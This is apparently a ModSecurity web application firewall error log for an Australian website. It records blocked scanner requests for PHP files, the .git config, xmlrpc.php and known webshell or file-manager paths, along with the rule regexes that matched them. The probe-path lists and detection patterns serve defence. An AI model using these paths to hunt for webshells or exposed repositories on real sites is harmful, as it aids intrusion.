[Sat Feb 28 23:38:30.156710 2026] [:error] [pid 52460:tid 52484] [client 20.63.83.113:35886] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaML9rLWOogAgHGh62Tv4gAAAZU"]
[Sat Feb 28 23:38:30.570781 2026] [:error] [pid 39184:tid 39238] [client 20.63.83.113:9994] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaML9ltZF9Zd_U7easAHlAAAAFM"]
[Sat Feb 28 23:38:30.985604 2026] [:error] [pid 52460:tid 52479] [client 20.63.83.113:35473] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaML9rLWOogAgHGh62Tv6AAAAZA"]
[Sat Feb 28 23:38:31.404100 2026] [:error] [pid 11791:tid 11794] [client 20.63.83.113:5312] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaML92uX5e1Q32gqxH3sVQAAAQE"]
[Sat Feb 28 23:38:31.819158 2026] [:error] [pid 39185:tid 39258] [client 20.63.83.113:5369] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aaML9xVE-FfM89u7BQa_lwAAAIw"]
[Sat Feb 28 23:38:32.232995 2026] [:error] [pid 11791:tid 11814] [client 20.63.83.113:48533] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aaML-GuX5e1Q32gqxH3sXAAAARU"]
[Sat Feb 28 23:38:32.653368 2026] [:error] [pid 39183:tid 39207] [client 20.63.83.113:48553] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aaML-BCf4HvhVePw3Lb1AgAAAA8"]
[Sat Feb 28 23:38:33.067516 2026] [:error] [pid 52460:tid 52463] [client 20.63.83.113:35484] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aaML-bLWOogAgHGh62Tv6wAAAYA"]
[Sat Feb 28 23:38:33.479177 2026] [:error] [pid 39184:tid 39241] [client 20.63.83.113:48561] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aaML-VtZF9Zd_U7easAHmgAAAFY"]
[Sat Feb 28 23:38:33.896217 2026] [:error] [pid 39185:tid 39254] [client 20.63.83.113:10025] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aaML-RVE-FfM89u7BQa_mQAAAIg"]
[Sat Feb 28 23:38:34.313037 2026] [:error] [pid 39183:tid 39215] [client 20.63.83.113:48550] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aaML-hCf4HvhVePw3Lb1BgAAABc"]
[Sat Feb 28 23:38:34.722912 2026] [:error] [pid 22194:tid 22196] [client 20.63.83.113:9698] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aaML-n6mbajs3bzQGyvBHQAAAUA"]
[Sat Feb 28 23:38:35.136696 2026] [:error] [pid 39292:tid 39311] [client 20.63.83.113:63869] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aaML-6IAO5fN7BxyqcGtVQAAANE"]
[Sat Feb 28 23:38:35.561541 2026] [:error] [pid 52460:tid 52478] [client 20.63.83.113:63831] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aaML-7LWOogAgHGh62Tv7gAAAY8"]
[Sat Feb 28 23:38:35.971864 2026] [:error] [pid 39184:tid 39240] [client 20.63.83.113:5340] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aaML-1tZF9Zd_U7easAHoAAAAFU"]
[Sat Feb 28 23:38:36.381776 2026] [:error] [pid 49763:tid 49775] [client 20.63.83.113:63866] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass.php"] [unique_id "aaML_LTHSOG_yf2PpqEYnAAAAck"]
[Sat Feb 28 23:38:36.792263 2026] [:error] [pid 52460:tid 52465] [client 20.63.83.113:5316] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aaML_LLWOogAgHGh62Tv8gAAAYI"]
[Sat Feb 28 23:38:37.201447 2026] [:error] [pid 39184:tid 39235] [client 20.63.83.113:35853] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aaML_VtZF9Zd_U7easAHowAAAFA"]
[Sat Feb 28 23:38:37.609869 2026] [:error] [pid 39183:tid 39192] [client 20.63.83.113:48528] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aaML_RCf4HvhVePw3Lb1DwAAAAA"]
[Sat Feb 28 23:38:38.026217 2026] [:error] [pid 39184:tid 39233] [client 20.63.83.113:44791] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aaML_ltZF9Zd_U7easAHqQAAAE4"]
[Sun Mar 01 01:01:16.669300 2026] [:error] [pid 30797:tid 30872] [client 20.63.83.162:19841] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaMfXPQmcmSQL-3rvLAB3gAAAEE"]
[Sun Mar 01 01:01:17.491216 2026] [:error] [pid 30798:tid 30911] [client 20.63.83.162:19990] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaMfXcBkD73gO8wTonZSDAAAAIw"]
[Sun Mar 01 01:01:18.314740 2026] [:error] [pid 30798:tid 30912] [client 20.63.83.162:20017] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaMfXsBkD73gO8wTonZSJAAAAI0"]
[Sun Mar 01 01:01:19.138872 2026] [:error] [pid 30798:tid 30921] [client 20.63.83.162:19856] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaMfX8BkD73gO8wTonZSNAAAAJU"]
[Sun Mar 01 02:02:05.658157 2026] [:error] [pid 30798:tid 30913] [client 20.151.205.221:42341] [client 20.151.205.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaMtncBkD73gO8wTonaRswAAAI4"]
[Sun Mar 01 02:02:06.491086 2026] [:error] [pid 11920:tid 11929] [client 20.151.205.221:42768] [client 20.151.205.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaMtnizLNJUKxvBorrDdBwAAAYU"]
[Sun Mar 01 02:02:07.323746 2026] [:error] [pid 11920:tid 11931] [client 20.151.205.221:42317] [client 20.151.205.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaMtnyzLNJUKxvBorrDdDgAAAYc"]
[Sun Mar 01 02:02:08.148695 2026] [:error] [pid 30798:tid 30920] [client 20.151.205.221:42308] [client 20.151.205.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaMtoMBkD73gO8wTonaRwAAAAJQ"]
[Sun Mar 01 02:06:27.992669 2026] [:error] [pid 11920:tid 11927] [client 120.71.59.24:48956] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaMuoyzLNJUKxvBorrDjOQAAAYM"]
[Sun Mar 01 02:19:50.887141 2026] [:error] [pid 11920:tid 11940] [client 20.220.13.5:28141] [client 20.220.13.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.13.5, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aaMxxizLNJUKxvBorrD5ZwAAAZA"]
[Sun Mar 01 02:19:52.634743 2026] [:error] [pid 11920:tid 11938] [client 20.220.13.5:28141] [client 20.220.13.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.13.5, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaMxyCzLNJUKxvBorrD5eAAAAY4"]
[Sun Mar 01 02:19:53.078193 2026] [:error] [pid 11920:tid 11935] [client 20.220.13.5:28141] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaMxySzLNJUKxvBorrD5fAAAAYs"]
[Sun Mar 01 02:19:53.913981 2026] [:error] [pid 31190:tid 31224] [client 20.220.13.5:28124] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaMxyRfvwGOholYpM1GhxwAAANI"]
[Sun Mar 01 02:19:54.741317 2026] [:error] [pid 11920:tid 11931] [client 20.220.13.5:27847] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaMxyizLNJUKxvBorrD5jAAAAYc"]
[Sun Mar 01 02:19:55.590626 2026] [:error] [pid 11920:tid 11927] [client 20.220.13.5:28136] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaMxyyzLNJUKxvBorrD5lAAAAYM"]
[Sun Mar 01 03:27:16.963698 2026] [:error] [pid 31190:tid 31225] [client 35.150.39.131:14358] [client 35.150.39.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.150.39.131, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaNBlBfvwGOholYpM1HOQwAAANM"]
[Sun Mar 01 03:53:25.792566 2026] [:error] [pid 14637:tid 14647] [client 43.130.37.243:41608] [client 43.130.37.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaNHtaQVOOrpA69ImxnJpQAAAQU"]
[Sun Mar 01 04:24:09.491742 2026] [:error] [pid 21159:tid 21230] [client 194.180.48.253:58530] [client 194.180.48.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aaNO6eLi3ouy1NZIkgoAygAAAIk"]
[Sun Mar 01 04:27:43.761673 2026] [:error] [pid 21263:tid 21277] [client 85.203.15.173:38407] [client 85.203.15.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaNPv9AxjzLvN1upBhmysAAAAMo"]
[Sun Mar 01 04:27:45.206540 2026] [:error] [pid 21263:tid 21268] [client 81.199.26.60:45115] [client 81.199.26.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaNPwdAxjzLvN1upBhmyvAAAAME"]
[Sun Mar 01 04:27:47.488052 2026] [:error] [pid 21158:tid 21213] [client 85.203.15.221:47397] [client 85.203.15.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaNPwzriSIe3-pWnbPbJhAAAAFQ"]
[Sun Mar 01 04:27:49.123950 2026] [:error] [pid 21263:tid 21289] [client 81.199.26.65:55603] [client 81.199.26.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaNPxdAxjzLvN1upBhmy1gAAANY"]
[Sun Mar 01 04:27:51.521583 2026] [:error] [pid 21263:tid 21283] [client 85.203.15.156:44963] [client 85.203.15.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaNPx9AxjzLvN1upBhmy7QAAANA"]
[Sun Mar 01 04:27:52.372162 2026] [:error] [pid 21263:tid 21269] [client 85.203.15.160:37945] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaNPyNAxjzLvN1upBhmy8gAAAMI"]
[Sun Mar 01 04:27:52.976142 2026] [:error] [pid 21263:tid 21283] [client 81.199.26.65:49545] [client 81.199.26.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaNPyNAxjzLvN1upBhmy-AAAANA"]
[Sun Mar 01 04:27:53.517401 2026] [:error] [pid 21158:tid 21197] [client 81.199.26.53:52427] [client 81.199.26.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaNPyTriSIe3-pWnbPbJlwAAAEQ"]
[Sun Mar 01 04:27:54.098688 2026] [:error] [pid 21156:tid 21178] [client 85.203.15.166:52339] [client 85.203.15.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaNPyqsaG_9IkG8N2p3YLAAAAAw"]
[Sun Mar 01 04:27:54.670359 2026] [:error] [pid 21159:tid 21232] [client 85.203.15.162:28553] [client 85.203.15.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaNPyuLi3ouy1NZIkgoDcgAAAIs"]
[Sun Mar 01 04:27:55.818426 2026] [:error] [pid 21263:tid 21285] [client 81.199.26.59:24049] [client 81.199.26.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaNPy9AxjzLvN1upBhmzFgAAANI"]
[Sun Mar 01 04:27:57.050202 2026] [:error] [pid 21263:tid 21285] [client 81.199.26.57:53189] [client 81.199.26.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aaNPzdAxjzLvN1upBhmzJQAAANI"]
[Sun Mar 01 04:27:58.646406 2026] [:error] [pid 21158:tid 21196] [client 85.203.15.221:30379] [client 85.203.15.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaNPzjriSIe3-pWnbPbJqQAAAEM"]
[Sun Mar 01 04:28:00.663720 2026] [:error] [pid 21156:tid 21170] [client 85.203.15.175:55359] [client 85.203.15.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaNP0KsaG_9IkG8N2p3YOgAAAAQ"]
